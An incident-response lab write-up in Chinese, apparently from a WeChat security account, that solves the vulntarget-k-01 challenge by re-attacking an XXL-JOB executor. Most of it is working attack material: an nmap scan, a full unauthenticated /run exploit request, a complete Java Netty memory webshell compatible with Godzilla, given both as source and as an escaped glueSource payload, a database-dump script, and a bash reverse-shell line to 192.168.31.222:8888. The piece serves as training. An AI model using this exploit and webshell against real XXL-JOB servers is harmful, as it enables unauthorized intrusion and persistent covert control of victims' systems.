题目描述:
应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件,请上机排查!
根据题目环境简单分析,此道题目是一个中型环境,由于题目本身只是针对于 XXL-job 第一步环境,所以后续目标的渗透无需完成,题目设置思路为应急人员重走攻击路径,还原攻击路径,适用于快速确定受害主机漏洞情况,与常规上机排查不一样,更有意思一点
1.常规外网打点操作
nmap 扫描端口,确认此主机目前开放 ip 的情况,发现仅有 8081,9999 开放,通过端口,熟悉打点的就可以快速知道这个漏洞情况,应存在 XXL-job 的漏洞
└─# nmap -v -sS -Pn -p- 43.192.8.125
PORT STATE SERVICE
22/tcp open ssh
80/tcp filtered http
135/tcp filtered msrpc
136/tcp filtered profile
137/tcp filtered netbios-ns
138/tcp filtered netbios-dgm
139/tcp filtered netbios-ssn
443/tcp filtered https
445/tcp filtered microsoft-ds
593/tcp filtered http-rpc-epmap
2222/tcp open EtherNetIP-1
4444/tcp filtered krb524
8080/tcp filtered http-proxy
8081/tcp open blackice-icecap
8878/tcp open unknown
9999/tcp open abyss
60001/tcp filtered unknown
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 41.86 seconds
Raw packets sent: 65933 (2.901MB) | Rcvd: 65864 (2.635MB)
这里我们使用漏洞扫描,快速探测一下,发现 9999 端口为 XXL-job 执行器
直接访问 9999 端口和 8081 端口,页面如下,通过页面响应特征应为 XXL-JOB executor 未授权访问漏洞
洞原理:
XXL-JOB 分为 admin 和 executor 两端,前者为后台管理页面,后者是任务执行的客户端。executor 默认没有配置认证,未授权的攻击者可以通过 RESTful API 执行任意命令
漏洞影响版本:
XXL-JOB <= 2.2.0
利用 EXP 如下:
POST /run HTTP/1.1
Host: IP
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 365
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "touch /tmp/El1aOk",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
若存在此漏洞,常规思路在目标主机的 tmp 下就会创建 El1aOk 这个文件,然后我们直接通过反弹 shell,拿到目标主机权限,实现命令执行
题目一:
黑客是通过哪个端口渗透进服务器的
因为题目本身思路应为通过未授权接口反弹 shell 出去,所以没记错的话端口应为 9999
环境所遇问题:
在此次应急靶机中,涉及到了不出网和 8080 端口关闭,一般 8080 端口开启的话,可以通过控制台进入,然后通过弱口令登录后,进行计划任务 GETshell,利用执行日志等文件看到执行结果,所以控制台思路不能利用,出网的几个漏洞利用都不行
思路:通过利用 executor 未授权访问漏洞, "glueType": "GLUE_GROOVY",既然可以利用 java,就直接写入马子,进行连接即可
这里贴出接口信息,可从 jar 包中获得接口利用信息,我们直接利用 GLUE_GROOVY 即可打入内存马
接口信息:
GLUE_GROOVY("GLUE(Java)", false, null, null),
GLUE_SHELL("GLUE(Shell)", true, "bash", ".sh"),
GLUE_PYTHON("GLUE(Python)", true, "python", ".py"),
GLUE_PHP("GLUE(PHP)", true, "php", ".php"),
GLUE_NODEJS("GLUE(Nodejs)", true, "node", ".js"),
GLUE_POWERSHELL("GLUE(PowerShell)", true, "powershell", ".ps1");
内存马:
Executor 采用了 Netty 框架实现了 RESTful API,这里采用 BMTH 作者所写的内存马,具体内存马构造思路,可以前往其博客研究,这里不再过多赘述
贴出博客地址:
http://www.bmth666.cn
完整哥斯拉(使用于2.2.0版本):
package com.xxl.job.service.handler;
import com.xxl.job.core.biz.impl.ExecutorBizImpl;
import com.xxl.job.core.server.EmbedServer;
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.channel.socket.SocketChannel;
import io.netty.handler.codec.http.*;
import io.netty.handler.timeout.IdleStateHandler;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.AbstractMap;
import java.util.HashSet;
import java.util.concurrent.*;
import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;
public class DemoGlueJobHandler extends IJobHandler {
public static class NettyThreadHandler extends ChannelDuplexHandler{
String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
String result = "";
private static ThreadLocal<AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream>> requestThreadLocal = new ThreadLocal<>();
private static Class payload;
private static Class defClass(byte[] classbytes)throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0],Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
return (Class) method.invoke(urlClassLoader,classbytes,0,classbytes.length);
}
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch(Exception e) {
return null;
}
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch(Exception e) {}
return ret;
}
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if(((HttpRequest)msg).uri().contains("netty_memshell")) {
if (msg instanceof HttpRequest){
HttpRequest httpRequest = (HttpRequest) msg;
AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = new AbstractMap.SimpleEntry(httpRequest,new ByteArrayOutputStream());
requestThreadLocal.set(simpleEntry);
}
if(msg instanceof HttpContent){
HttpContent httpContent = (HttpContent)msg;
AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = requestThreadLocal.get();
if (simpleEntry == null){
return;
}
HttpRequest httpRequest = simpleEntry.getKey();
ByteArrayOutputStream contentBuf = simpleEntry.getValue();
ByteBuf byteBuf = httpContent.content();
int size = byteBuf.capacity();
byte[] requestContent = new byte[size];
byteBuf.getBytes(0,requestContent,0,requestContent.length);
contentBuf.write(requestContent);
if (httpContent instanceof LastHttpContent){
try {
byte[] data = x(contentBuf.toByteArray(), false);
if (payload == null) {
payload = defClass(data);
send(ctx,x(new byte[0], true),HttpResponseStatus.OK);
} else {
Object f = payload.newInstance();
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
f.equals(arrOut);
f.equals(data);
f.toString();
send(ctx,x(arrOut.toByteArray(), true),HttpResponseStatus.OK);
}
} catch(Exception e) {
ctx.fireChannelRead(httpRequest);
}
}else {
ctx.fireChannelRead(msg);
}
}
} else {
ctx.fireChannelRead(msg);
}
}
private void send(ChannelHandlerContext ctx, byte[] context, HttpResponseStatus status) {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context));
response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
}
public ReturnT<String> execute(String param) throws Exception{
try{
ThreadGroup group = Thread.currentThread().getThreadGroup();
Field threads = group.getClass().getDeclaredField("threads");
threads.setAccessible(true);
Thread[] allThreads = (Thread[]) threads.get(group);
for (Thread thread : allThreads) {
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
try {
Object target;
try {
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
} catch (Exception e) {
continue;
}
if (target.getClass().getName().endsWith("NioEventLoop")) {
XxlJobLogger.log("NioEventLoop find");
HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
if (!set.isEmpty()) {
Object keys = set.toArray()[0];
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
setFieldValue(embedHttpServerHandler, "childHandler", new ChannelInitializer<SocketChannel>() {
public void initChannel(SocketChannel channel) throws Exception {
channel.pipeline()
.addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS)) // beat 3N, close if idle
.addLast(new HttpServerCodec())
.addLast(new HttpObjectAggregator(5 * 1024 * 1024)) // merge request & reponse to FULL
.addLast(new NettyThreadHandler())
.addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(
0,
200,
60L,
TimeUnit.SECONDS,
new LinkedBlockingQueue<Runnable>(2000),
new ThreadFactory() {
public Thread newThread(Runnable r) {
return new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode());
}
},
new RejectedExecutionHandler() {
public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {
throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");
}
})));
}
});
XxlJobLogger.log("success!");
break;
}
}
} catch (Exception e){
XxlJobLogger.log(e.toString());
}
}
}
}catch (Exception e){
XxlJobLogger.log(e.toString());
}
return ReturnT.SUCCESS;
}
public Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null){
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
public Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
}
利用 EXP:
"glueSource":"package com.xxl.job.service.handler;nnimport com.xxl.job.core.biz.impl.ExecutorBizImpl;nimport com.xxl.job.core.server.EmbedServer;nimport io.netty.buffer.ByteBuf;nimport io.netty.buffer.Unpooled;nimport io.netty.channel.*;nimport io.netty.channel.socket.SocketChannel;nimport io.netty.handler.codec.http.*;nimport io.netty.handler.timeout.IdleStateHandler;nimport java.io.ByteArrayOutputStream;nimport java.lang.reflect.Field;nimport java.lang.reflect.Method;nimport java.net.URL;nimport java.net.URLClassLoader;nimport java.util.AbstractMap;nimport java.util.HashSet;nimport java.util.concurrent.*;nnimport com.xxl.job.core.log.XxlJobLogger;nimport com.xxl.job.core.biz.model.ReturnT;nimport com.xxl.job.core.handler.IJobHandler;nnpublic class DemoGlueJobHandler extends IJobHandler {n public static class NettyThreadHandler extends ChannelDuplexHandler{n String xc = "3c6e0b8a9c15224a";n String pass = "pass";n String md5 = md5(pass + xc);n String result = "";n private static ThreadLocal<AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream>> requestThreadLocal = new ThreadLocal<>();n private static Class payload;nn private static Class defClass(byte[] classbytes)throws Exception{n URLClassLoader urlClassLoader = new URLClassLoader(new URL[0],Thread.currentThread().getContextClassLoader());n Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);n method.setAccessible(true);n return (Class) method.invoke(urlClassLoader,classbytes,0,classbytes.length);n }nn public byte[] x(byte[] s, boolean m) {n try {n javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");n c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));n return c.doFinal(s);n } catch(Exception e) {n return null;n }n }n public static String md5(String s) {n String ret = null;n try {n java.security.MessageDigest m;n m = java.security.MessageDigest.getInstance("MD5");n m.update(s.getBytes(), 0, s.length());n ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();n } catch(Exception e) {}n return ret;n }nn @Overriden public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {n if(((HttpRequest)msg).uri().contains("netty_memshell")) {n if (msg instanceof HttpRequest){n HttpRequest httpRequest = (HttpRequest) msg;n AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = new AbstractMap.SimpleEntry(httpRequest,new ByteArrayOutputStream());n requestThreadLocal.set(simpleEntry);n }n if(msg instanceof HttpContent){n HttpContent httpContent = (HttpContent)msg;n AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = requestThreadLocal.get();n if (simpleEntry == null){n return;n }n HttpRequest httpRequest = simpleEntry.getKey();n ByteArrayOutputStream contentBuf = simpleEntry.getValue();nn ByteBuf byteBuf = httpContent.content();n int size = byteBuf.capacity();n byte[] requestContent = new byte[size];n byteBuf.getBytes(0,requestContent,0,requestContent.length);nn contentBuf.write(requestContent);nn if (httpContent instanceof LastHttpContent){n try {n byte[] data = x(contentBuf.toByteArray(), false);nn if (payload == null) {n payload = defClass(data);n send(ctx,x(new byte[0], true),HttpResponseStatus.OK);n } else {n Object f = payload.newInstance();n java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();n f.equals(arrOut);n f.equals(data);n f.toString();n send(ctx,x(arrOut.toByteArray(), true),HttpResponseStatus.OK);n }n } catch(Exception e) {n ctx.fireChannelRead(httpRequest);n }n }else {n ctx.fireChannelRead(msg);n }n }n } else {n ctx.fireChannelRead(msg);n }n }nn private void send(ChannelHandlerContext ctx, byte[] context, HttpResponseStatus status) {n FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context));n response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");n ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);n }n }nn public ReturnT<String> execute(String param) throws Exception{n try{n ThreadGroup group = Thread.currentThread().getThreadGroup();n Field threads = group.getClass().getDeclaredField("threads");n threads.setAccessible(true);n Thread[] allThreads = (Thread[]) threads.get(group);n for (Thread thread : allThreads) {n if (thread != null && thread.getName().contains("nioEventLoopGroup")) {n try {n Object target;nn try {n target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val\$eventExecutor");n } catch (Exception e) {n continue;n }nn if (target.getClass().getName().endsWith("NioEventLoop")) {n XxlJobLogger.log("NioEventLoop find");n HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");n if (!set.isEmpty()) {n Object keys = set.toArray()[0];n Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");n Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");n setFieldValue(embedHttpServerHandler, "childHandler", new ChannelInitializer<SocketChannel>() {n @Overriden public void initChannel(SocketChannel channel) throws Exception {n channel.pipeline()n .addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS)) // beat 3N, close if idlen .addLast(new HttpServerCodec())n .addLast(new HttpObjectAggregator(5 * 1024 * 1024)) // merge request & reponse to FULLn .addLast(new NettyThreadHandler())n .addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(n 0,n 200,n 60L,n TimeUnit.SECONDS,n new LinkedBlockingQueue<Runnable>(2000),n new ThreadFactory() {n @Overriden public Thread newThread(Runnable r) {n return new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode());n }n },n new RejectedExecutionHandler() {n @Overriden public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {n throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");n }n })));n }n });n XxlJobLogger.log("success!");n break;n }n }n } catch (Exception e){n XxlJobLogger.log(e.toString());n }n }n }n }catch (Exception e){n XxlJobLogger.log(e.toString());n }n return ReturnT.SUCCESS;n }nn public Field getField(final Class<?> clazz, final String fieldName) {n Field field = null;n try {n field = clazz.getDeclaredField(fieldName);n field.setAccessible(true);n } catch (NoSuchFieldException ex) {n if (clazz.getSuperclass() != null){n field = getField(clazz.getSuperclass(), fieldName);n }n }n return field;n }nn public Object getFieldValue(final Object obj, final String fieldName) throws Exception {n final Field field = getField(obj.getClass(), fieldName);n return field.get(obj);n }nn public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {n final Field field = getField(obj.getClass(), fieldName);n field.set(obj, value);n }n}"
题目应急步骤:
1.BP 进行传参
2.连接我们植入的内存马
3.对于应急而言,我们当拿到权限后,需要快速定位攻击者操作行为,通过题目问题,应为攻击者利用后台进入页面,然后实现添加用户名再次反弹 shell,因为整个攻击操作均在平台完成,所以我们直接拿到数据库即可,还原出所有操作,此处在电子取证中也是首要采取的一个步骤,为固定数据库操作
4.通过哥斯拉导出我们的 jar 包,反编译拿到我们所需要的数据库账号和密码
spring.datasource.username=root
spring.datasource.password=root_pwd
数据库账号和密码
5.我们不再进行通过马子连接数据库寻找攻击路径,而是直接打包数据库,快速分析,贴出打包的执行文件
# MySQL用户名和密码
username="root"
password="root_pwd"
databases=$(mysql -u $username -p$password -e "show databases;" -s --skip-column-names)
for db in $databases; do
if [[ "$db" != "information_schema" && "$db" != "mysql" && "$db" != "performance_schema" && "$db" != "sys" ]]; then
mysqldump -u $username -p$password $db > $db.sql
fi
done
能够看到文件管理已经存在此数据库,我们直接下载出来,查看即可,由于 xxl-job 攻击通常为反弹 shell 命令和 admin 用户创建,我们直接检索 admin,便可拿到答案.
题目二:
黑客添加的网站后门用户名和密码分别为多少,讲黑客添加的用户名和密码作为 flag 提交 (flag{admin:admin})
创建的用户名和密码均在数据库中存在
'admin1','7f0e6fe143efccf658c3b8d15fff6e2d',1,NULL);
题目三:
黑客反弹 shell 的服务器 IP 和端口是多少,将黑客反弹 shell 的服务器 IP 和端口作为 FLAG 提交(flag{IP:Port})
exec bash -i &>/dev/tcp/192.168.31.222/8888 <&1
以上便是此个应急靶场的思路以及答案获取,各位佬们速速复现吧,拿下它!
总结:
在应急过程中,蓝队结合红队思路,能够快速定位攻击者的具体利用方式和路径,重走一遍,方便固定具体证据,但影响也有,在于真实应急可能会破坏实际攻击路径,造成影响,所以一般还是要固定镜像,然后再进行漏洞利用以及应急响应。
公众号回复:k01,获取靶机下载地址。
作者:船山院士网络安全团队成员:El1aOk
原文始发于微信公众号(船山信安):应急响应-vulntarget-k-01
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论